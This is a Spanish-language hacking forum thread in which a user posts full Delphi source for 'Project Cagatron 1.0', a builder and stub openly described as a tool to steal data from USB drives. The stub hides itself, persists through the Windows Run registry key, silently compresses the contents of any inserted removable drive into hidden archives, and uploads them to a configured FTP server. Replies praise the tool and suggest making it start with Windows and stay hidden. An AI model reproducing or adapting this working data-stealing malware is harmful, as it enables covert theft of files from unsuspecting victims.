comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] Project Cagatron 1.0

  • 5 Respuestas
  • 1797 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Marzo 06, 2015, 12:59:44 pm »
Un simple programa en Delphi para robar los datos de un USB con las siguientes opciones :

  • Detecta cualquier USB conectado a la computadora
  • Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  • Permite la opcion de enviar los datos por FTP o dejarlos en la computadora


Una imagen :



Los codigos :

El generador.

Código: Delphi
  1. // Project Cagatron 1.0
  2. // (C) Doddy Hackman 2015
  3. // Based on Ladron by Khronos
  4.  
  5. unit caga;
  6.  
  7. interface
  8.  
  9. uses
  10.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  11.   System.Classes, Vcl.Graphics,
  12.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  13.   ShellApi,
  14.   Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  15.   IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;
  16.  
  17. type
  18.   TForm1 = class(TForm)
  19.     PageControl1: TPageControl;
  20.     TabSheet1: TTabSheet;
  21.     TabSheet2: TTabSheet;
  22.     TabSheet3: TTabSheet;
  23.     StatusBar1: TStatusBar;
  24.     PageControl2: TPageControl;
  25.     TabSheet4: TTabSheet;
  26.     usb_found: TListView;
  27.     TabSheet5: TTabSheet;
  28.     TabSheet6: TTabSheet;
  29.     GroupBox1: TGroupBox;
  30.     Label1: TLabel;
  31.     ftp_host: TEdit;
  32.     Label2: TLabel;
  33.     ftp_user: TEdit;
  34.     Label3: TLabel;
  35.     ftp_pass: TEdit;
  36.     Label4: TLabel;
  37.     ftp_path: TEdit;
  38.     GroupBox2: TGroupBox;
  39.     enter_usb: TEdit;
  40.     Button1: TButton;
  41.     Button2: TButton;
  42.     GroupBox3: TGroupBox;
  43.     upload_ftp_server: TRadioButton;
  44.     TabSheet7: TTabSheet;
  45.     GroupBox4: TGroupBox;
  46.     console: TMemo;
  47.     TabSheet8: TTabSheet;
  48.     only_logs: TRadioButton;
  49.     logs: TListView;
  50.     rutas: TListBox;
  51.     menu: TPopupMenu;
  52.     L1: TMenuItem;
  53.     IdFTP1: TIdFTP;
  54.     buscar_usb: TTimer;
  55.     otromenu: TPopupMenu;
  56.     S1: TMenuItem;
  57.     opcion_text: TEdit;
  58.     PageControl3: TPageControl;
  59.     TabSheet9: TTabSheet;
  60.     TabSheet10: TTabSheet;
  61.     GroupBox5: TGroupBox;
  62.     Label5: TLabel;
  63.     Label6: TLabel;
  64.     Label7: TLabel;
  65.     Label8: TLabel;
  66.     ftp_host2: TEdit;
  67.     ftp_user2: TEdit;
  68.     ftp_pass2: TEdit;
  69.     ftp_path2: TEdit;
  70.     GroupBox7: TGroupBox;
  71.     directorios: TComboBox;
  72.     GroupBox6: TGroupBox;
  73.     foldername: TEdit;
  74.     Button3: TButton;
  75.     GroupBox8: TGroupBox;
  76.     Image1: TImage;
  77.     Label9: TLabel;
  78.     Image2: TImage;
  79.     GroupBox9: TGroupBox;
  80.     hide_file: TCheckBox;
  81.     upload_ftp: TCheckBox;
  82.     procedure FormCreate(Sender: TObject);
  83.     procedure Button1Click(Sender: TObject);
  84.     procedure Button2Click(Sender: TObject);
  85.     procedure list_files;
  86.     procedure L1Click(Sender: TObject);
  87.     procedure buscar_usbTimer(Sender: TObject);
  88.     procedure S1Click(Sender: TObject);
  89.     procedure Button3Click(Sender: TObject);
  90.  
  91.   private
  92.     { Private declarations }
  93.   public
  94.     { Public declarations }
  95.   end;
  96.  
  97. var
  98.   Form1: TForm1;
  99.  
  100. implementation
  101.  
  102. {$R *.dfm}
  103.  
  104. function dhencode(texto, opcion: string): string;
  105. // Thanks to Taqyon
  106. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  107. var
  108.   num: integer;
  109.   aca: string;
  110.   cantidad: integer;
  111.  
  112. begin
  113.  
  114.   num := 0;
  115.   Result := '';
  116.   aca := '';
  117.   cantidad := 0;
  118.  
  119.   if (opcion = 'encode') then
  120.   begin
  121.     cantidad := length(texto);
  122.     for num := 1 to cantidad do
  123.     begin
  124.       aca := IntToHex(ord(texto[num]), 2);
  125.       Result := Result + aca;
  126.     end;
  127.   end;
  128.  
  129.   if (opcion = 'decode') then
  130.   begin
  131.     cantidad := length(texto);
  132.     for num := 1 to cantidad div 2 do
  133.     begin
  134.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  135.       Result := Result + aca;
  136.     end;
  137.   end;
  138.  
  139. end;
  140.  
  141. function usb_name(checked: Char): string;
  142. // Based on http://delphitutorial.info/get-volume-name.html
  143. var
  144.   uno, dos: DWORD;
  145.   resultnow: array [0 .. MAX_PATH] of Char;
  146. begin
  147.   try
  148.     GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
  149.       nil, uno, dos, nil, 0);
  150.     Result := StrPas(resultnow);
  151.   except
  152.     Result := checked;
  153.   end;
  154. end;
  155.  
  156. function check_drive(target: string): boolean;
  157. var
  158.   a, b, c: cardinal;
  159. begin
  160.   Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
  161. end;
  162.  
  163. function file_size(target: String): integer;
  164. var
  165.   busqueda: TSearchRec;
  166. begin
  167.   Result := 0;
  168.   try
  169.     begin
  170.       if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
  171.         busqueda) = 0 then
  172.       begin
  173.         repeat
  174.           Inc(Result);
  175.         until FindNext(busqueda) <> 0;
  176.         System.SysUtils.FindClose(busqueda);
  177.       end;
  178.     end;
  179.   except
  180.     Result := 0;
  181.   end;
  182. end;
  183.  
  184. procedure TForm1.FormCreate(Sender: TObject);
  185. begin
  186.   if not DirectoryExists('logs') then
  187.   begin
  188.     CreateDir('logs');
  189.   end;
  190.   Chdir('logs');
  191.   list_files;
  192. end;
  193.  
  194. procedure TForm1.L1Click(Sender: TObject);
  195. begin
  196.   ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
  197.     SW_SHOWNORMAL);
  198. end;
  199.  
  200. procedure TForm1.list_files;
  201. var
  202.   search: TSearchRec;
  203.   ext: string;
  204.   fecha1: integer;
  205. begin
  206.  
  207.   logs.Items.Clear();
  208.   rutas.Items.Clear();
  209.  
  210.   FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
  211.     faAnyFile, search);
  212.   while FindNext(search) = 0 do
  213.   begin
  214.     ext := ExtractFileExt(search.Name);
  215.     if (ext = '.zip') then
  216.     begin
  217.       with logs.Items.Add do
  218.       begin
  219.         fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
  220.           search.Name);
  221.         rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
  222.           search.Name);
  223.         Caption := search.Name;
  224.         SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
  225.       end;
  226.     end;
  227.   end;
  228.   FindClose(search);
  229. end;
  230.  
  231. procedure TForm1.S1Click(Sender: TObject);
  232. begin
  233.   opcion_text.Text := usb_found.Selected.Caption;
  234.   enter_usb.Text := usb_found.Selected.SubItems[1];
  235. end;
  236.  
  237. procedure TForm1.buscar_usbTimer(Sender: TObject);
  238. var
  239.   unidad: Char;
  240. begin
  241.   usb_found.Items.Clear();
  242.   for unidad := 'C' to 'Z' do
  243.   begin
  244.     if (check_drive(PChar(unidad + ':\')) = True) and
  245.       (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
  246.     begin
  247.       with usb_found.Items.Add do
  248.       begin
  249.         Caption := usb_name(unidad);
  250.         SubItems.Add(IntToStr(file_size(unidad + ':\')));
  251.         SubItems.Add(unidad + ':\');
  252.       end;
  253.     end;
  254.   end;
  255. end;
  256.  
  257. procedure TForm1.Button1Click(Sender: TObject);
  258. begin
  259.   with TFileOpenDialog.Create(nil) do
  260.     try
  261.       Options := [fdoPickFolders];
  262.       if Execute then
  263.         enter_usb.Text := Filename;
  264.     finally
  265.       Free;
  266.     end;
  267. end;
  268.  
  269. procedure TForm1.Button2Click(Sender: TObject);
  270. var
  271.   zipnow: I7zOutArchive;
  272.   busqueda: TSearchRec;
  273.   code: string;
  274.   dirnow: string;
  275.   guardar: string;
  276.  
  277. begin
  278.  
  279.   dirnow := enter_usb.Text;
  280.  
  281.   if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  282.   then
  283.   begin
  284.     CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
  285.       PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  286.   end;
  287.  
  288.   if not(opcion_text.Text = '') then
  289.   begin
  290.     guardar := opcion_text.Text + '.zip';
  291.   end
  292.   else
  293.   begin
  294.     guardar := ExtractFileName(dirnow) + '.zip';
  295.   end;
  296.  
  297.   StatusBar1.Panels[0].Text := '[+] Saving ...';
  298.   Form1.StatusBar1.Update;
  299.  
  300.   console.Lines.Add('[+] Saving ..');
  301.  
  302.   zipnow := CreateOutArchive(CLSID_CFormat7z);
  303.   SetCompressionLevel(zipnow, 9);
  304.   SevenZipSetCompressionMethod(zipnow, m7LZMA);
  305.  
  306.   if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
  307.     busqueda) = 0 then
  308.   begin
  309.     repeat
  310.       if (busqueda.Attr = faDirectory) then
  311.       begin
  312.         if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
  313.         begin
  314.           console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
  315.           // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
  316.           // Form1.StatusBar1.Update;
  317.           zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
  318.             '*.*', True);
  319.         end;
  320.       end
  321.       else
  322.       begin
  323.         console.Lines.Add('[+] Saving File : ' + busqueda.Name);
  324.         // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
  325.         // Form1.StatusBar1.Update;
  326.         zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
  327.       end;
  328.     until FindNext(busqueda) <> 0;
  329.     System.SysUtils.FindClose(busqueda);
  330.   end;
  331.  
  332.   zipnow.SaveToFile(guardar);
  333.  
  334.   if (upload_ftp_server.checked) then
  335.   begin
  336.     IdFTP1.Host := ftp_host.Text;
  337.     IdFTP1.Username := ftp_user.Text;
  338.     IdFTP1.Password := ftp_pass.Text;
  339.     try
  340.       IdFTP1.Connect;
  341.     except
  342.       StatusBar1.Panels[0].Text := '[-] Error Uploading';
  343.       Form1.StatusBar1.Update;
  344.     end;
  345.  
  346.     StatusBar1.Panels[0].Text := '[+] Uploading ...';
  347.     Form1.StatusBar1.Update;
  348.  
  349.     IdFTP1.ChangeDir(ftp_path.Text);
  350.     IdFTP1.Put(guardar, guardar, False);
  351.   end;
  352.  
  353.   list_files;
  354.  
  355.   console.Lines.Add('[+] Ready');
  356.  
  357.   StatusBar1.Panels[0].Text := '[+] Ready';
  358.   Form1.StatusBar1.Update;
  359.  
  360.   opcion_text.Text := '';
  361.  
  362. end;
  363.  
  364. procedure TForm1.Button3Click(Sender: TObject);
  365. var
  366.   lineafinal: string;
  367.   hidefile: string;
  368.   uploadftp: string;
  369.   aca: THandle;
  370.   code: Array [0 .. 9999 + 1] of Char;
  371.   nose: DWORD;
  372.   stubgenerado: string;
  373.  
  374. begin
  375.  
  376.   if (hide_file.checked) then
  377.   begin
  378.     hidefile := '1';
  379.   end
  380.   else
  381.   begin
  382.     hidefile := '0';
  383.   end;
  384.  
  385.   if (upload_ftp.checked) then
  386.   begin
  387.     uploadftp := '1';
  388.   end
  389.   else
  390.   begin
  391.     uploadftp := '0';
  392.   end;
  393.  
  394.   lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
  395.     directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
  396.     '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
  397.     + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
  398.     ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
  399.     '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';
  400.  
  401.   aca := INVALID_HANDLE_VALUE;
  402.   nose := 0;
  403.  
  404.   stubgenerado := 'cagatron_ready.exe';
  405.  
  406.   DeleteFile(stubgenerado);
  407.   CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  408.     'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
  409.     '/' + stubgenerado), True);
  410.  
  411.   CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
  412.     PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  413.  
  414.   StrCopy(code, PChar(lineafinal));
  415.   aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
  416.     '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
  417.     OPEN_EXISTING, 0, 0);
  418.   if (aca <> INVALID_HANDLE_VALUE) then
  419.   begin
  420.     SetFilePointer(aca, 0, nil, FILE_END);
  421.     WriteFile(aca, code, 9999, nose, nil);
  422.     CloseHandle(aca);
  423.   end;
  424.  
  425.   StatusBar1.Panels[0].Text := '[+] Done';
  426.   Form1.StatusBar1.Update;
  427.  
  428. end;
  429.  
  430. end.
  431.  
  432. // The End ?
  433.  

El Stub.

Código: Delphi
  1. // Project Cagatron 1.0
  2. // (C) Doddy Hackman 2015
  3. // Based on Ladron by Khronos
  4.  
  5. program cagatron_server;
  6.  
  7. {$APPTYPE GUI}
  8. {$R *.res}
  9.  
  10. uses
  11.   SysUtils, WinInet, Windows, sevenzip;
  12.  
  13. var
  14.   directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  15.   hide_op: string;
  16.   registro: HKEY;
  17.   ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  18.   online: string;
  19.  
  20.   ob: THandle;
  21.   code: Array [0 .. 9999 + 1] of Char;
  22.   nose: DWORD;
  23.   todo: string;
  24.  
  25.   // Functions
  26.  
  27. function regex(text: String; deaca: String; hastaaca: String): String;
  28. begin
  29.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  30.   SetLength(text, AnsiPos(hastaaca, text) - 1);
  31.   Result := text;
  32. end;
  33.  
  34. function dhencode(texto, opcion: string): string;
  35. // Thanks to Taqyon
  36. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  37. var
  38.   num: integer;
  39.   aca: string;
  40.   cantidad: integer;
  41.  
  42. begin
  43.  
  44.   num := 0;
  45.   Result := '';
  46.   aca := '';
  47.   cantidad := 0;
  48.  
  49.   if (opcion = 'encode') then
  50.   begin
  51.     cantidad := Length(texto);
  52.     for num := 1 to cantidad do
  53.     begin
  54.       aca := IntToHex(ord(texto[num]), 2);
  55.       Result := Result + aca;
  56.     end;
  57.   end;
  58.  
  59.   if (opcion = 'decode') then
  60.   begin
  61.     cantidad := Length(texto);
  62.     for num := 1 to cantidad div 2 do
  63.     begin
  64.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  65.       Result := Result + aca;
  66.     end;
  67.   end;
  68.  
  69. end;
  70.  
  71. procedure comprimir(dirnow, guardar: string);
  72. var
  73.   zipnow: I7zOutArchive;
  74.   busqueda: TSearchRec;
  75. begin
  76.  
  77.   zipnow := CreateOutArchive(CLSID_CFormat7z);
  78.   SetCompressionLevel(zipnow, 9);
  79.   SevenZipSetCompressionMethod(zipnow, m7LZMA);
  80.  
  81.   if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
  82.     busqueda) = 0 then
  83.   begin
  84.     repeat
  85.       if (busqueda.Attr = faDirectory) then
  86.       begin
  87.         if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
  88.         begin
  89.           zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
  90.             '*.*', True);
  91.         end;
  92.       end
  93.       else
  94.       begin
  95.         zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
  96.       end;
  97.     until FindNext(busqueda) <> 0;
  98.     System.SysUtils.FindClose(busqueda);
  99.   end;
  100.  
  101.   zipnow.SaveToFile(guardar);
  102.  
  103.   if (hide_op = '1') then
  104.   begin
  105.     SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  106.   end;
  107.  
  108. end;
  109.  
  110. function usb_name(checked: Char): string;
  111. // Based on http://delphitutorial.info/get-volume-name.html
  112. var
  113.   uno, dos: DWORD;
  114.   resultnow: array [0 .. MAX_PATH] of Char;
  115. begin
  116.   try
  117.     GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
  118.       nil, uno, dos, nil, 0);
  119.     Result := StrPas(resultnow);
  120.   except
  121.     Result := checked;
  122.   end;
  123. end;
  124.  
  125. function check_drive(target: string): boolean;
  126. var
  127.   a, b, c: cardinal;
  128. begin
  129.   Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
  130. end;
  131.  
  132. function check_file_ftp(host, username, password, archivo: pchar): integer;
  133. var
  134.   controluno: HINTERNET;
  135.   controldos: HINTERNET;
  136.   abriendo: HINTERNET;
  137.   valor: integer;
  138.  
  139. begin
  140.  
  141.   controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  142.   controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  143.     username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  144.  
  145.   abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
  146.     FTP_TRANSFER_TYPE_BINARY, 0);
  147.   valor := ftpGetFileSize(abriendo, nil);
  148.  
  149.   InternetCloseHandle(controldos);
  150.   InternetCloseHandle(controluno);
  151.  
  152.   Result := valor;
  153.  
  154. end;
  155.  
  156. procedure upload_ftpfile(host, username, password, filetoupload,
  157.   conestenombre: pchar);
  158.  
  159. // Credits :
  160. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  161. // Thanks to Omair Iqbal
  162.  
  163. var
  164.   controluno: HINTERNET;
  165.   controldos: HINTERNET;
  166.  
  167. begin
  168.  
  169.   try
  170.  
  171.     begin
  172.       controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  173.       controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  174.         username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  175.       ftpPutFile(controldos, filetoupload, conestenombre,
  176.         FTP_TRANSFER_TYPE_BINARY, 0);
  177.       InternetCloseHandle(controldos);
  178.       InternetCloseHandle(controluno);
  179.     end
  180.   except
  181.     //
  182.   end;
  183. end;
  184.  
  185. procedure buscar_usb;
  186. var
  187.   unidad: Char;
  188.   usb_target, usb_nombre: string;
  189. begin
  190.   while (1 = 1) do
  191.   begin
  192.     Sleep(5000);
  193.     for unidad := 'C' to 'Z' do
  194.     begin
  195.       if (check_drive(pchar(unidad + ':\')) = True) and
  196.         (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
  197.       begin
  198.         usb_target := unidad + ':\';
  199.         usb_nombre := usb_name(unidad) + '.zip';
  200.         if not(FileExists(usb_nombre)) then
  201.         begin
  202.           // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
  203.           comprimir(usb_target, usb_nombre);
  204.           // Writeln('[+] Saved');
  205.           if (ftp_op = '1') then
  206.           begin
  207.             // Writeln('[+] Checking file in FTP ...');
  208.             if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
  209.               pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
  210.             then
  211.             begin
  212.               // Writeln('[+] Uploading ...');
  213.               upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
  214.                 pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
  215.               // Writeln('[+] Done');
  216.             end
  217.             else
  218.             begin
  219.               // Writeln('[+] File exists');
  220.             end;
  221.           end;
  222.         end;
  223.       end;
  224.     end;
  225.   end;
  226. end;
  227.  
  228. begin
  229.  
  230.   try
  231.  
  232.     ob := INVALID_HANDLE_VALUE;
  233.     code := '';
  234.  
  235.     ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  236.       OPEN_EXISTING, 0, 0);
  237.     if (ob <> INVALID_HANDLE_VALUE) then
  238.     begin
  239.       SetFilePointer(ob, -9999, nil, FILE_END);
  240.       ReadFile(ob, code, 9999, nose, nil);
  241.       CloseHandle(ob);
  242.     end;
  243.  
  244.     todo := regex(code, '[63686175]', '[63686175]');
  245.     todo := dhencode(todo, 'decode');
  246.  
  247.     directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
  248.     carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
  249.     directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
  250.     hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));
  251.  
  252.     ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  253.     ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  254.     ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  255.     ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  256.     ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  257.  
  258.     online := pchar(regex(todo, '[online]', '[online]'));
  259.  
  260.     if (online = '1') then
  261.     begin
  262.       nombrereal := ExtractFileName(paramstr(0));
  263.       yalisto := directorio_final + '/' + nombrereal;
  264.  
  265.       if not(DirectoryExists(directorio_final)) then
  266.       begin
  267.         CreateDir(directorio_final);
  268.       end;
  269.  
  270.       // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
  271.       MoveFile(pchar(paramstr(0)), pchar(yalisto));
  272.       if (hide_op = '1') then
  273.       begin
  274.         SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  275.       end;
  276.       if (FileExists('7z.dll')) then
  277.       begin
  278.         // CopyFile(pchar('7z.dll'),
  279.         // pchar(directorio_final + '/' + '7z.dll'), False);
  280.         MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
  281.         if (hide_op = '1') then
  282.         begin
  283.           SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
  284.             FILE_ATTRIBUTE_HIDDEN);
  285.         end;
  286.       end;
  287.  
  288.       ChDir(directorio_final);
  289.  
  290.       if (hide_op = '1') then
  291.       begin
  292.         SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
  293.       end;
  294.  
  295.       try
  296.         begin
  297.           RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  298.             'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  299.             REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  300.           RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
  301.           RegCloseKey(registro);
  302.         end;
  303.       except
  304.         //
  305.       end;
  306.  
  307.       // Writeln('[+] Searching USB ...');
  308.  
  309.       BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);
  310.  
  311.       while (1 = 1) do
  312.         Sleep(5000);
  313.     end
  314.     else
  315.     begin
  316.       // Writeln('[+] Offline');
  317.     end;
  318.  
  319.   except
  320.     on E: Exception do
  321.       Writeln(E.ClassName, ': ', E.Message);
  322.   end;
  323.  
  324. end.
  325.  
  326. // The End ?
  327.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

No tienes permisos para ver links. Registrate o Entra con tu cuenta.
No tienes permisos para ver links. Registrate o Entra con tu cuenta.

Eso seria todo.

Desconectado 79137913

  • *
  • Co Admin
  • Mensajes: 634
  • Actividad:
    6.67%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #1 en: Marzo 06, 2015, 03:18:28 pm »
HOLA!!!

Descargando espectacular, no hay nada como esto gratis, sos un genio!

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #2 en: Marzo 06, 2015, 03:25:31 pm »
ok  , gracias , todavia le faltan muchas cosas que corregir y agregar , si lo probas decime las sugerencias para la nueva version que voy hacer.

Desconectado 79137913

  • *
  • Co Admin
  • Mensajes: 634
  • Actividad:
    6.67%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #3 en: Marzo 06, 2015, 03:45:41 pm »
HOLA!!!

Ya lo probe, me parece que:
la opcion de la compresion debe ser opcional,
se debe estipular un maximo de copia de archivos para que no se llene el rigido,
el programa debe detectar si ha comenzado una copia de un pendrive que se inserta anteriormente para no copiar 2 veces los mismos archivos,
el programa debe tener la opcion de iniciar con windows y permanecer oculto y
el programa debe ser un poco mas user friendly (esta hecho para personas con conocimientos en informatica), o una opcion con un wizard.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #4 en: Marzo 06, 2015, 04:08:23 pm »
ok  , gracias por las sugerencias , es raro pense que le habia agregado lo que de se cargue cada vez que inicia Windows , ya tengo lo que necesito para la siguiente version.
« Última modificación: Marzo 06, 2015, 05:51:55 pm por Doddy »

Desconectado 79137913

  • *
  • Co Admin
  • Mensajes: 634
  • Actividad:
    6.67%
  • Reputación 11
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #5 en: Marzo 06, 2015, 11:42:06 pm »
HOLA!!!

Si, lo tiene, pero el stub solamente, si yo quiero usar el programa sin generar un stub no se puede.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1983
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3126
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3255
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Troyano de conexion inversa

Iniciado por BigBear

Respuestas: 4
Vistas: 3333
Último mensaje Mayo 05, 2017, 09:10:55 am
por _inicio_cerrarsesión
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1410
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon